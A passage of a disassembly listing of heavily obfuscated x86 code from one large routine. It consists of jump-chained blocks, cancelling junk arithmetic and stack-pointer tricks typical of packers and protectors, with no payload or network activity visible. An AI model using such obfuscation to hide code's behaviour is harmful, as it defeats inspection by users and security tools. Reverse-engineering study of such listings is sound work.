		add	ebx, 3B1F1C08h
		pop	edx
		mov	esi, ebx
		pop	ebx
		or	[edi+1Ch], esi
		push	[esp+0B0h+var_B0]
		mov	esi, [esp+0B4h+var_B4]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_5CE9EC
; ---------------------------------------------------------------------------


loc_5CE86A:				; CODE XREF: sub_5A55E5+26345j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		push	esi
		push	[esp+4Ch+var_4A+2]
		pop	esi
		jmp	loc_5CB8D1
; ---------------------------------------------------------------------------


loc_5CE884:				; CODE XREF: sub_5A55E5+1D82Aj
		mov	[esp+88h+var_88], ecx
		mov	ecx, 2DC814EEh
		neg	ecx
		or	ecx, 4ECC5D50h
		shl	ecx, 5
		jmp	loc_5CDBFC
; ---------------------------------------------------------------------------


loc_5CE89C:				; CODE XREF: sub_5A55E5+22B25j
		push	ebp
		push	[esp+0BEh+var_BC+2]
		jmp	loc_5C5CFB
; ---------------------------------------------------------------------------


loc_5CE8A6:				; CODE XREF: sub_5A55E5+2AACEj
		push	380939A9h
		pop	ebx
		push	ebp
		mov	ebp, 7E6A0B38h
		neg	ebp
		jmp	loc_5D0D40
; ---------------------------------------------------------------------------


loc_5CE8B9:				; CODE XREF: sub_5A55E5+1AED6j
		dec	bl
		push	ecx
		push	ebx
		mov	bh, 0B8h
		or	bh, 63h
		neg	bh
		jmp	loc_5CF3B4
; ---------------------------------------------------------------------------


loc_5CE8C9:				; CODE XREF: sub_5A55E5+251A8j
		mov	eax, [esp+0A8h+var_A8]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp+0B0h+var_B0], ebp
		push	[esp+0B0h+var_AC]
		jmp	loc_5CBC59
; ---------------------------------------------------------------------------


loc_5CE8EA:				; CODE XREF: sub_5A55E5+1A9F6j
		push	6942h
		mov	[esp+88h+var_88], esi
		mov	esi, esp
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		push	[esp+8Ch+var_8C]
		push	[esp+90h+var_90]
		pop	ecx
		add	esp, 4
		add	esp, 4
		add	esi, 4
		push	4D3h
		mov	[esp+8Ch+var_8C], esi
		push	[esp+8Ch+var_88]
		pop	esi
		jmp	loc_5C6892
; ---------------------------------------------------------------------------


loc_5CE91E:				; CODE XREF: sub_5A55E5+1B412j
		rep movsd
		add	esp, [edx+38h]
		push	ebp
		jmp	loc_5C90D4
; ---------------------------------------------------------------------------


loc_5CE929:				; CODE XREF: sub_5A55E5+28661j
		pop	ebx
		mov	esi, [esp+0B8h+var_B8]
		add	esp, 4
		add	ecx, 2
		xchg	ecx, [esp+0B4h+var_B4]
		mov	esp, [esp+0B4h+var_B4]
		mov	ax, word ptr [esp+0B4h+var_B4]
		jmp	loc_5D3929
; ---------------------------------------------------------------------------


loc_5CE942:				; CODE XREF: sub_5A55E5+2B3B5j
		xchg	ebx, [esp+0B4h+var_B4]
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_5CA2A5
; ---------------------------------------------------------------------------


loc_5CE94E:				; CODE XREF: sub_5A55E5+25591j
		xor	edx, [esp+94h+var_94]
		xor	[esp+94h+var_94], edx
		xor	edx, [esp+94h+var_94]
		pop	esp
		jmp	loc_5C3B0B
; ---------------------------------------------------------------------------


loc_5CE95D:				; CODE XREF: sub_5A55E5+1CE1Ej
		mov	edx, 704E7C15h
		mov	ebx, edx
		pop	edx
		add	ebp, ebx
		jmp	loc_5C4784
; ---------------------------------------------------------------------------


loc_5CE96C:				; CODE XREF: sub_5A55E5+1C003j
		mov	dl, 1Bh
		xor	dl, al
		pop	eax
		add	al, dl
		pop	dx
		jmp	loc_5D3B48
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+40h+var_42+2]
		jmp	loc_5CE5B2
; ---------------------------------------------------------------------------


loc_5CE983:				; CODE XREF: sub_5A55E5+2A29Cj
		pop	esp
		mov	eax, [esp+3Ch+var_3E+2]
		jmp	loc_5D0C5D
; ---------------------------------------------------------------------------


loc_5CE98C:				; CODE XREF: sub_5A55E5+2538Aj
		push	esi
		mov	esi, esp
		jmp	loc_5D2D77
; ---------------------------------------------------------------------------


loc_5CE994:				; CODE XREF: sub_5A55E5+1F3BEj
		push	edx
		sub	esp, 4
		mov	[esp+9Ch+var_9C], edi
		mov	edi, 0B167FE5h
		add	edi, 71914623h
		jmp	loc_5C8395
; ---------------------------------------------------------------------------


loc_5CE9AE:				; CODE XREF: sub_5A55E5+26387j
		shl	ebp, 3
		push	ebx
		push	6B68h
		mov	[esp+66h+var_68+2], ecx
		mov	ecx, 5BFE2006h
		jmp	loc_5C5980
; ---------------------------------------------------------------------------


loc_5CE9C4:				; CODE XREF: sub_5A55E5+2C5D3j
		add	esi, ebx
		pop	ebx
		jmp	loc_5C912B
; ---------------------------------------------------------------------------


loc_5CE9CC:				; CODE XREF: sub_5A55E5+28380j
		add	edx, 34B46CA3h
		add	edx, ebp
		sub	edx, 34B46CA3h
		push	[esp+88h+var_88]
		pop	ebp
		push	ecx
		mov	ecx, esp
		jmp	loc_5CB0FF
; ---------------------------------------------------------------------------


loc_5CE9E6:				; CODE XREF: sub_5A55E5+29F00j
		push	edi
		jmp	loc_5CF62C
; ---------------------------------------------------------------------------


loc_5CE9EC:				; CODE XREF: sub_5A55E5+29280j
		add	edx, 4
		jmp	loc_5C2ED2
; ---------------------------------------------------------------------------


loc_5CE9F7:				; CODE XREF: sub_5A55E5+2470Bj
		pop	edx
		xchg	ebx, [esp+90h+var_90]
		pop	esp
		mov	[esp+8Ch+var_8C], eax
		push	edi
		jmp	loc_5CE013
; ---------------------------------------------------------------------------


loc_5CEA05:				; CODE XREF: sub_5A55E5+1FC54j
		or	eax, 4AD95A5Fh
		xor	eax, 0DCB4B2D7h
		add	esi, eax
		jmp	loc_5C676F
; ---------------------------------------------------------------------------


loc_5CEA16:				; CODE XREF: sub_5A55E5+28622j
		add	esp, 4
		sub	ebp, 301Ch
		add	edi, 6C946D07h
		jmp	loc_5CE802
; ---------------------------------------------------------------------------


loc_5CEA2D:				; CODE XREF: sub_5A55E5+2957Dj
		and	[edi+1Ch], ebp
		mov	ebp, [esp+74h+var_74]
		add	esp, 4
		jmp	loc_5C4591
; ---------------------------------------------------------------------------


loc_5CEA3B:				; CODE XREF: sub_5A55E5+1D857j
		add	ebp, 1C045841h
		jmp	loc_5C7431
; ---------------------------------------------------------------------------


loc_5CEA46:				; CODE XREF: sub_5A55E5+287B0j
		mov	edi, [esp+0B8h+var_B8]
		add	esp, 4
		mov	eax, [esp+0B4h+var_B4]
		jmp	loc_5C5AD2
; ---------------------------------------------------------------------------


loc_5CEA54:				; CODE XREF: sub_5A55E5+2B793j
		mov	edx, 4
		add	[esp+0B4h+var_B0], edx
		pop	edx
		jmp	loc_5C6FAB
; ---------------------------------------------------------------------------


loc_5CEA63:				; CODE XREF: sub_5A55E5+1C93Fj
		neg	eax
		not	eax
		or	eax, 3F862697h
		push	ecx
		mov	ecx, 282A00B7h
		xor	eax, ecx
		pop	ecx
		jmp	loc_5C2419
; ---------------------------------------------------------------------------


loc_5CEA7A:				; CODE XREF: sub_5A55E5+2B6C0j
		add	ebp, ebx
		mov	ebx, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_5C9256
; ---------------------------------------------------------------------------


loc_5CEA8A:				; CODE XREF: sub_5A55E5+2890Fj
		push	esi
		mov	esi, 4
		jmp	loc_5CA5DE
; ---------------------------------------------------------------------------


loc_5CEA95:				; CODE XREF: sub_5A55E5+2838Cj
		push	[esp+92h+var_90+2]
		mov	ebp, [esp+96h+var_98+2]
		jmp	loc_5D2F4A
; ---------------------------------------------------------------------------


loc_5CEAA1:				; CODE XREF: sub_5A55E5+1BAEFj
		mov	edx, 17867387h
		shr	edx, 6
		jmp	loc_5C61EB
; ---------------------------------------------------------------------------


loc_5CEAAE:				; CODE XREF: sub_5A55E5+1F32Bj
		mov	eax, ebp
		mov	ebp, [esp+96h+var_98+2]
		add	esp, 4
		sub	edi, eax
		mov	eax, [esp+92h+var_94+2]
		push	ebp
		jmp	loc_5D0598
; ---------------------------------------------------------------------------


loc_5CEAC4:				; CODE XREF: sub_5A55E5+285CEj
		add	ebx, edi
		jmp	loc_5C1108
; ---------------------------------------------------------------------------


loc_5CEACB:				; CODE XREF: sub_5A55E5+1ECC9j
		mov	esp, [esp+0B2h+var_B4+2]
		jmp	loc_5CBA27
; ---------------------------------------------------------------------------


loc_5CEAD3:				; CODE XREF: sub_5A55E5+2C04Ej
		mov	ebp, 0C70E9E9Dh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5CE020
; ---------------------------------------------------------------------------


loc_5CEAE0:				; CODE XREF: sub_5A55E5+1CDEBj
		pop	[esp+7Ah+var_7C+2]
		pop	esp
		jmp	loc_5CA6F3
; ---------------------------------------------------------------------------


loc_5CEAE9:				; CODE XREF: sub_5A55E5+2AF75j
		add	edi, ebx
		push	[esp+72h+var_74+2]
		pop	ebx
		add	esp, 4
		jmp	loc_5D3F2F
; ---------------------------------------------------------------------------


loc_5CEAFA:				; CODE XREF: sub_5A55E5+25F3Cj
		mov	[esp+58h+var_58], esp
		add	[esp+58h+var_58], 4
		mov	ebx, [esp+58h+var_58]
		jmp	loc_5C2DC5
; ---------------------------------------------------------------------------


loc_5CEB0C:				; CODE XREF: sub_5A55E5+20B4Ej
		mov	ecx, 78EF593Eh
		push	3188h
		mov	[esp+0A6h+var_A8+2], ecx
		not	[esp+0A6h+var_A8+2]
		pop	ecx
		sub	ecx, 0FFFFFFFFh
		jmp	loc_5C54AB
; ---------------------------------------------------------------------------


loc_5CEB25:				; CODE XREF: sub_5A55E5+20083j
		mov	edi, [esp+68h+var_68]
		jmp	loc_5CB3FD
; ---------------------------------------------------------------------------


loc_5CEB2D:				; CODE XREF: sub_5A55E5+25F0Ej
		add	ebx, ebp
		pop	ebp
		mov	esi, [esp+4Eh+var_50+2]
		jmp	loc_5C91BC
; ---------------------------------------------------------------------------


loc_5CEB38:				; CODE XREF: sub_5A55E5+28C4Fj
		push	ecx
		push	ebx
		jmp	loc_5C0B6D
; ---------------------------------------------------------------------------


loc_5CEB3F:				; CODE XREF: sub_5A55E5+23052j
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5CB507
; ---------------------------------------------------------------------------


loc_5CEB54:				; CODE XREF: sub_5A55E5+2CFC0j
		xchg	esi, [esp+0AAh+var_AC+2]
		mov	esp, [esp+0AAh+var_AC+2]
		jmp	loc_5C0D60
; ---------------------------------------------------------------------------


loc_5CEB5F:				; CODE XREF: sub_5A55E5+1C90Aj
		add	esp, 4
		jmp	loc_5CEA2D
; ---------------------------------------------------------------------------


loc_5CEB67:				; CODE XREF: sub_5A55E5+1DD3Dj
		xchg	edi, [esp+0ACh+var_AC]
		jmp	loc_5C96C0
; ---------------------------------------------------------------------------


loc_5CEB6F:				; CODE XREF: sub_5A55E5+2A4B0j
		sub	ebx, 25DF3D8Fh
		add	ebx, ebp
		add	ebx, 25DF3D8Fh
		jmp	loc_5C314B
; ---------------------------------------------------------------------------


loc_5CEB82:				; CODE XREF: sub_5A55E5+1F0B0j
		push	771Ch
		mov	[esp+76h+var_78+2], esp
		add	[esp+76h+var_78+2], 4
		pop	edi
		push	eax
		mov	eax, 2DA645A2h
		push	esi
		mov	esi, 0D259BA62h
		sub	eax, 3B7D6EF5h
		add	eax, esi
		add	eax, 3B7D6EF5h
		pop	esi
		add	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		jmp	loc_5CA25C
; ---------------------------------------------------------------------------


loc_5CEBB6:				; CODE XREF: sub_5A55E5+2073Aj
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5C229D
; ---------------------------------------------------------------------------


loc_5CEBCA:				; CODE XREF: sub_5A55E5+2127Bj
		mov	[esp+0C2h+var_C4+2], ebx
		push	edx
		jmp	loc_5C8D3B
; ---------------------------------------------------------------------------


loc_5CEBD3:				; CODE XREF: sub_5A55E5+1EB17j
		xor	esi, 0EEBF937Bh
		jmp	loc_5D2821
; ---------------------------------------------------------------------------


loc_5CEBDE:				; CODE XREF: sub_5A55E5+28F1Ej
		add	esp, 4
		jmp	loc_5BFB34
; ---------------------------------------------------------------------------


loc_5CEBE9:				; CODE XREF: sub_5A55E5+1E666j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+80h+var_80]
		pop	esp
		xor	ebx, eax
		sub	esp, 4
		mov	[esp+80h+var_80], ecx
		push	eax
		push	6A840DF1h
		mov	eax, [esp+88h+var_88]
		jmp	loc_5D18F2
; ---------------------------------------------------------------------------


loc_5CEC0D:				; CODE XREF: sub_5A55E5+2BBECj
		sub	word ptr [esp+88h+var_84], si
		pop	si
		add	word ptr [esp+86h+var_84], 1870h
		sub	word ptr [esp+86h+var_84], 7F61h
		mov	cx, word ptr [esp+86h+var_88+2]
		push	eax
		jmp	loc_5C78A3
; ---------------------------------------------------------------------------


loc_5CEC2C:				; CODE XREF: sub_5A55E5+1C988j
		add	esp, 4
		push	6AAFh
		mov	[esp+94h+var_94], ebx
		jmp	loc_5D3591
; ---------------------------------------------------------------------------


loc_5CEC3F:				; CODE XREF: sub_5A55E5+27EA5j
		mov	word ptr [esp+0A2h+var_A4+2], ax
		push	ecx
		mov	ch, 24h
		jmp	loc_5C6A66
; ---------------------------------------------------------------------------


loc_5CEC4B:				; CODE XREF: sub_5A55E5+203B9j
		push	ebp
		jmp	loc_5CAE7D
; ---------------------------------------------------------------------------


loc_5CEC51:				; CODE XREF: sub_5A55E5+1CAA9j
		inc	dl
		shr	dl, 2
		jmp	loc_5C1257
; ---------------------------------------------------------------------------


loc_5CEC5B:				; CODE XREF: sub_5A55E5+2087Bj
		pop	esp
		sub	esi, 4
		push	esi
		push	[esp+90h+var_8C]
		mov	esi, [esp+94h+var_94]
		jmp	loc_5C08A4
; ---------------------------------------------------------------------------


loc_5CEC6F:				; CODE XREF: sub_5A55E5+2AB93j
		add	edx, 4
		xchg	edx, [esp+94h+var_94]
		pop	esp
		xchg	edx, [esp+90h+var_90]
		pop	esp
		and	word ptr [esp+8Ch+var_8C], ax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5CEC87:				; CODE XREF: sub_5A55E5+1D665j
		xor	ah, 66h
		shl	ah, 8
		not	ah
		or	ah, 0D3h
		push	5323h
		mov	[esp+94h+var_94], ecx
		mov	cl, 38h
		shl	cl, 3
		push	cx
		dec	byte ptr [esp+96h+var_98+2]
		pop	cx
		not	cl
		add	cl, 63h
		xor	ah, cl
		pop	ecx
		jmp	loc_5C6D67
; ---------------------------------------------------------------------------


loc_5CECB3:				; CODE XREF: sub_5A55E5+23EFAj
		sub	ecx, 0FFFFFFFFh
		jmp	loc_5C93A9
; ---------------------------------------------------------------------------
		push	[esp+7Ah+var_7C+2]
		pop	eax
		push	63AFh
		jmp	loc_5CD6B6
; ---------------------------------------------------------------------------


loc_5CECCC:				; CODE XREF: sub_5A55E5+28681j
		push	4
		jmp	loc_5C1641
; ---------------------------------------------------------------------------


loc_5CECD6:				; CODE XREF: sub_5A55E5+1CD2Fj
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+80h+var_80]
		pop	esp
		mov	[esp+7Ch+var_7C], edx
		push	eax
		mov	ah, bl
		push	ebx
		mov	bl, ah
		mov	dl, bl
		pop	ebx
		pop	eax
		mov	cl, dl
		pop	edx
		push	ebx
		push	edx
		mov	dl, cl
		mov	bh, dl
		pop	edx
		mov	ah, bh
		pop	ebx
		pop	ecx
		pop	ebx
		jmp	loc_5C9432
; ---------------------------------------------------------------------------


loc_5CECFE:				; CODE XREF: sub_5A55E5+286E6j
		sub	esp, 4
		mov	[esp+70h+var_70], ebp
		push	esp
		pop	ebp
		jmp	loc_5C3BA2
; ---------------------------------------------------------------------------


loc_5CED0E:				; CODE XREF: sub_5A55E5+1AFA7j
		mov	eax, 7DC66560h
		mov	edx, 966E0A47h
		jmp	loc_5C5596
; ---------------------------------------------------------------------------


loc_5CED1D:				; CODE XREF: sub_5A55E5+20C01j
		sub	esi, 4
		xchg	esi, [esp+3Eh+var_3E]
		pop	esp
		mov	[esp+3Ah+var_3A], ebx
		push	ecx
		push	399E4AA6h
		pop	ecx
		mov	ebx, ecx
		push	[esp+3Eh+var_3E]
		pop	ecx
		sub	esp, 4
		mov	[esp+42h+var_42], edi
		mov	edi, esp
		jmp	loc_5C60E2
; ---------------------------------------------------------------------------


loc_5CED41:				; CODE XREF: sub_5A55E5+263FFj
		add	esp, 4
		jmp	loc_5C6BC6
; ---------------------------------------------------------------------------


loc_5CED49:				; CODE XREF: sub_5A55E5+2AE20j
		add	edx, 5E771E00h
		add	edx, 9D4723Bh
		pop	edi
		add	edx, 2
		xor	edx, [esp+8Ch+var_8C]
		xor	[esp+8Ch+var_8C], edx
		jmp	loc_5D3510
; ---------------------------------------------------------------------------


loc_5CED67:				; CODE XREF: sub_5A55E5+254E2j
		pop	ebx
		push	ecx
		mov	ecx, 465B2469h
		add	edx, ecx
		push	[esp+0A0h+var_A0]
		pop	ecx
		add	esp, 4
		sub	edx, ecx
		sub	edx, 465B2469h
		pop	ecx
		push	edx
		jmp	loc_5D1A92
; ---------------------------------------------------------------------------


loc_5CED86:				; CODE XREF: sub_5A55E5+2BD54j
		mov	esi, [esp+9Ch+var_9C]
		add	esp, 4
		jmp	loc_5C2AFC
; ---------------------------------------------------------------------------


loc_5CED91:				; CODE XREF: sub_5A55E5+1C446j
		xchg	eax, [esp+0BAh+var_BC+2]
		pop	esp
		mov	[esp+0B6h+var_B8+2], esp
		push	esi
		mov	esi, 4
		add	[esp+0BAh+var_B8+2], esi
		mov	esi, [esp+0BAh+var_BC+2]
		add	esp, 4
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	ecx, 582F483Dh
		add	ecx, ebp
		sub	ecx, 582F483Dh
		pop	ebp
		sub	esp, 4
		mov	[esp+0B6h+var_B8+2], ebx
		push	eax
		mov	eax, 2
		mov	ebx, eax
		mov	eax, [esp+0BAh+var_BC+2]
		jmp	loc_5CCCE9
; ---------------------------------------------------------------------------


loc_5CEDD4:				; CODE XREF: sub_5A55E5+2E2CDj
		xchg	esi, ebp
		jmp	loc_5D2427
; ---------------------------------------------------------------------------


loc_5CEDDB:				; CODE XREF: sub_5A55E5+1F264j
		sub	ebx, ecx
		pop	ecx
		jmp	loc_5D1B1D
; ---------------------------------------------------------------------------


loc_5CEDE3:				; CODE XREF: sub_5A55E5+27829j
		mov	[esp+84h+var_84], ebp
		mov	ebp, 4
		push	ebp
		mov	ebp, 6BAF648Bh
		jmp	loc_5C0E44
; ---------------------------------------------------------------------------


loc_5CEDF6:				; CODE XREF: sub_5A55E5+1EF56j
		mov	eax, 4
		add	[esp+92h+var_90+2], eax
		jmp	loc_5C6CFF
; ---------------------------------------------------------------------------


loc_5CEE04:				; CODE XREF: sub_5A55E5+27D0Bj
		sub	esp, 4
		jmp	loc_5CC7BD
; ---------------------------------------------------------------------------


loc_5CEE0C:				; CODE XREF: sub_5A55E5+1C0F1j
		push	eax
		jmp	loc_5C4E80
; ---------------------------------------------------------------------------


loc_5CEE12:				; CODE XREF: sub_5A55E5+1D947j
		pop	ebp
		xchg	ebx, [esp+9Ah+var_9C+2]
		pop	esp
		push	cx
		mov	cl, 53h
		sub	bl, cl
		mov	cx, word ptr [esp+98h+var_98]
		add	esp, 2
		sub	bl, 0A7h
		jmp	loc_5C5B9D
; ---------------------------------------------------------------------------


loc_5CEE2C:				; CODE XREF: sub_5A55E5+2850Fj
		mov	[esp+94h+var_94], ebx
		push	esi
		push	1BE76708h
		pop	esi
		jmp	loc_5CDDA2
; ---------------------------------------------------------------------------


loc_5CEE3B:				; CODE XREF: sub_5A55E5+2DD52j
		add	eax, 4
		push	esi
		mov	esi, 4
		jmp	loc_5CD43D
; ---------------------------------------------------------------------------


loc_5CEE4B:				; CODE XREF: sub_5A55E5+28028j
		xor	ebp, [esp+80h+var_80]
		xor	[esp+80h+var_80], ebp
		not	ebp
		jmp	loc_5D1C97
; ---------------------------------------------------------------------------


loc_5CEE58:				; CODE XREF: sub_5A55E5+1AE74j
		push	ecx
		jmp	loc_5C36D8
; ---------------------------------------------------------------------------


loc_5CEE5E:				; CODE XREF: sub_5A55E5+263C7j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+58h+var_58]
		pop	esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+54h+var_54]
		pop	esp
		sub	esp, 4
		jmp	loc_5D3AFF
; ---------------------------------------------------------------------------


loc_5CEE83:				; CODE XREF: sub_5A55E5+2858Bj
		sub	ebp, 4
		xchg	ebp, [esp+0B8h+var_B8]
		pop	esp
		mov	[esp+0B4h+var_B4], edx
		jmp	loc_5CADD1
; ---------------------------------------------------------------------------


loc_5CEE95:				; CODE XREF: sub_5A55E5+2B785j
		mov	ecx, [esp+0B4h+var_B4]
		add	esp, 4
		jmp	loc_5D2BD1
; ---------------------------------------------------------------------------


loc_5CEEA3:				; CODE XREF: sub_5A55E5+2D01Ej
		mov	ecx, ebp
		pop	ebp
		shl	ecx, 3
		add	ecx, 1BEE1888h
		push	ebx
		mov	ebx, 732C4377h
		and	ecx, ebx
		mov	ebx, [esp+0B0h+var_B0]
		add	esp, 4
		jmp	loc_5C889F
; ---------------------------------------------------------------------------


loc_5CEEC2:				; CODE XREF: sub_5A55E5+23F59j
		xchg	eax, ebx
		jmp	loc_5C2408
; ---------------------------------------------------------------------------


loc_5CEEC8:				; CODE XREF: sub_5A55E5+208B3j
		mov	[esp+82h+var_84+2], esi
		push	581Eh
		mov	[esp+86h+var_88+2], ebx
		mov	ebx, 3DA16FA7h
		sub	[esp+86h+var_84+2], ebx
		pop	ebx
		mov	eax, [esp+82h+var_84+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 56132DD5h
		xor	ebx, 7C317149h
		sub	ebx, 2A225C98h
		add	ebp, ebx
		jmp	loc_5C638D
; ---------------------------------------------------------------------------


loc_5CEF02:				; CODE XREF: sub_5A55E5+22E71j
		mov	[esp+0AEh+var_B0+2], ebx
		push	[esp+0AEh+var_AC+2]
		pop	ebx
		jmp	loc_5D13DA
; ---------------------------------------------------------------------------


loc_5CEF0F:				; CODE XREF: sub_5A55E5+1C816j
		pop	ecx
		add	edi, 0C0E34DAEh
		add	ecx, edi
		push	[esp+88h+var_88]
		pop	edi
		add	esp, 4
		push	166Bh
		jmp	loc_5CC2EC
; ---------------------------------------------------------------------------


loc_5CEF29:				; CODE XREF: sub_5A55E5+20444j
		mov	ebp, 0ABA52EFh
		xor	ebp, 3594152Ah
		add	ebp, 26827710h
		jmp	loc_5C0899
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+94h+var_94]
		push	ebx
		mov	ebx, esp
		jmp	loc_5CB591
; ---------------------------------------------------------------------------


loc_5CEF4B:				; CODE XREF: sub_5A55E5+1E67Fj
		pop	esp
		mov	ecx, edi
		mov	edi, [esp+80h+var_80]
		push	3DBEh
		jmp	loc_5C52AB
; ---------------------------------------------------------------------------


loc_5CEF5B:				; CODE XREF: sub_5A55E5+1D24Ej
		sub	byte ptr [esp+66h+var_68+2], 87h
		sub	byte ptr [esp+66h+var_68+2], bl
		add	byte ptr [esp+66h+var_68+2], 87h
		mov	bl, byte ptr [esp+66h+var_68+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5D1D64
; ---------------------------------------------------------------------------


loc_5CEF77:				; CODE XREF: sub_5A55E5+261EAj
		pop	ecx
		shl	eax, 3
		shl	eax, 7
		add	eax, 1
		jmp	loc_5C9ED7
; ---------------------------------------------------------------------------


loc_5CEF86:				; CODE XREF: sub_5A55E5+1A82Fj
		add	[esp+80h+var_80], 4
		jmp	loc_5C43E3
; ---------------------------------------------------------------------------


loc_5CEF92:				; CODE XREF: sub_5A55E5+28C27j
		dec	bl
		not	bl
		jmp	loc_5D29CD
; ---------------------------------------------------------------------------


loc_5CEF9B:				; CODE XREF: sub_5A55E5+2A42Aj
		sub	bl, 40h
		jmp	loc_5C8D28
; ---------------------------------------------------------------------------


loc_5CEFA3:				; CODE XREF: sub_5A55E5+2C266j
		sub	esi, 4
		xchg	esi, [esp+0B0h+var_B0]
		pop	esp
		mov	[esp+0ACh+var_AC], edi
		push	esp
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 2
		push	edx
		mov	edx, 67DF6FCDh
		jmp	loc_5CCE13
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_5CC217
; ---------------------------------------------------------------------------


loc_5CEFCF:				; CODE XREF: sub_5A55E5+244E6j
		pop	ebp
		add	esp, 4
		pop	[esp+84h+var_84]
		mov	esp, [esp+80h+var_80]
		div	cl
		jmp	loc_5C2101
; ---------------------------------------------------------------------------


loc_5CEFE0:				; CODE XREF: sub_5A55E5+26DE5j
		add	esi, eax
		push	[esp+0B4h+var_B4]
		push	[esp+0B8h+var_B8]
		pop	eax
		add	esp, 4
		add	esp, 4
		jmp	loc_5CCD93
; ---------------------------------------------------------------------------


loc_5CEFF7:				; CODE XREF: sub_5A55E5+2D2FFj
		xor	[esp+0B0h+var_B0], ecx
		xor	ecx, [esp+0B0h+var_B0]
		mov	esp, [esp+0B0h+var_B0]
		mov	[esp+0B0h+var_B0], edx
		sub	esp, 4
		jmp	loc_5BFBBE
; ---------------------------------------------------------------------------


loc_5CF00B:				; CODE XREF: sub_5A55E5+24DC7j
		add	eax, 0E03F9673h
		xor	ecx, eax
		pop	eax
		jmp	loc_5D2133
; ---------------------------------------------------------------------------


loc_5CF018:				; CODE XREF: sub_5A55E5+29E30j
		xchg	eax, ecx
		not	eax
		xchg	eax, ecx
		push	eax
		mov	eax, 30B353A5h
		or	eax, 5D3351BBh
		sub	eax, 446B137Ah
		dec	eax
		xor	eax, 91B5128h
		or	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+9Ah+var_9C+2], ebx
		push	ebp
		mov	ebp, 2C2361B6h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_5D368C
; ---------------------------------------------------------------------------


loc_5CF049:				; CODE XREF: sub_5A55E5+1DB28j
		pop	edx
		mov	ecx, esi
		jmp	loc_5C1D18
; ---------------------------------------------------------------------------


loc_5CF051:				; CODE XREF: sub_5A55E5+29209j
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0ACh+var_AC]
		jmp	loc_5C44F2
; ---------------------------------------------------------------------------


loc_5CF068:				; CODE XREF: sub_5A55E5+2D923j
		mov	edx, ecx
		jmp	loc_5D2689
; ---------------------------------------------------------------------------


loc_5CF06F:				; CODE XREF: sub_5A55E5+1D886j
		xor	dx, 503Fh
		add	bx, 5762h
		jmp	loc_5C27A1
; ---------------------------------------------------------------------------


loc_5CF07E:				; CODE XREF: sub_5A55E5+23D75j
		sub	ebx, 793A1D65h
		pop	esi
		jmp	loc_5D1FDC
; ---------------------------------------------------------------------------


loc_5CF08A:				; CODE XREF: sub_5A55E5+1C3D1j
		push	eax
		mov	eax, 4
		mov	edx, eax
		pop	eax
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp+0B4h+var_B4]
		mov	esp, [esp+0B4h+var_B4]
		push	5847h
		mov	[esp+0B8h+var_B8], ebx
		mov	ebx, 199139ADh
		xor	edx, ebx
		push	[esp+0B8h+var_B8]
		jmp	loc_5CC248
; ---------------------------------------------------------------------------


loc_5CF0B3:				; CODE XREF: sub_5A55E5+22476j
		sub	eax, ebp
		jmp	loc_5CDFDD
; ---------------------------------------------------------------------------


loc_5CF0BA:				; CODE XREF: sub_5A55E5+2DEF7j
		mov	ebx, [esp+90h+var_90]
		add	esp, 4
		sub	ch, 6Dh
		pop	edx
		add	ch, 0D0h
		add	al, ch
		jmp	loc_5C054F
; ---------------------------------------------------------------------------


loc_5CF0CE:				; CODE XREF: sub_5A55E5+290E4j
		push	esi
		jmp	loc_5C5373
; ---------------------------------------------------------------------------


loc_5CF0D4:				; CODE XREF: sub_5A55E5+2D8F2j
		pop	ebp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	edi
		jmp	loc_5CF17B
; ---------------------------------------------------------------------------


loc_5CF0E4:				; CODE XREF: sub_5A55E5+231D6j
		sub	esi, ecx
		pop	ecx
		sub	ecx, 1A041D53h
		sub	ecx, 4E534084h
		add	ecx, 47650E79h
		sub	ecx, esi
		sub	ecx, 47650E79h
		add	ecx, 4E534084h
		add	ecx, 1A041D53h
		pop	esi
		push	ebp
		push	eax
		jmp	loc_5C13FE
; ---------------------------------------------------------------------------


loc_5CF115:				; CODE XREF: sub_5A55E5+2220Bj
		mov	esp, [esp+90h+var_90]
		mov	[esp+90h+var_90], ecx
		mov	ecx, esp
		jmp	loc_5CDCD0
; ---------------------------------------------------------------------------


loc_5CF122:				; CODE XREF: sub_5A55E5+2839Aj
		push	ecx
		mov	ecx, 78330645h
		sub	edx, ecx
		pop	ecx
		add	edx, 4F05068Ch
		jmp	loc_5CD075
; ---------------------------------------------------------------------------


loc_5CF136:				; CODE XREF: sub_5A55E5+2CE02j
		pop	ebx
		mov	eax, [esp+8Ah+var_8C+2]
		jmp	loc_5C8021
; ---------------------------------------------------------------------------


loc_5CF13F:				; CODE XREF: sub_5A55E5+1BA80j
		add	esi, 4
		xchg	esi, [esp+96h+var_98+2]
		pop	esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+96h+var_94+2]
		pop	eax
		pop	[esp+96h+var_98+2]
		mov	esp, [esp+92h+var_94+2]
		push	edi
		jmp	loc_5D05FE
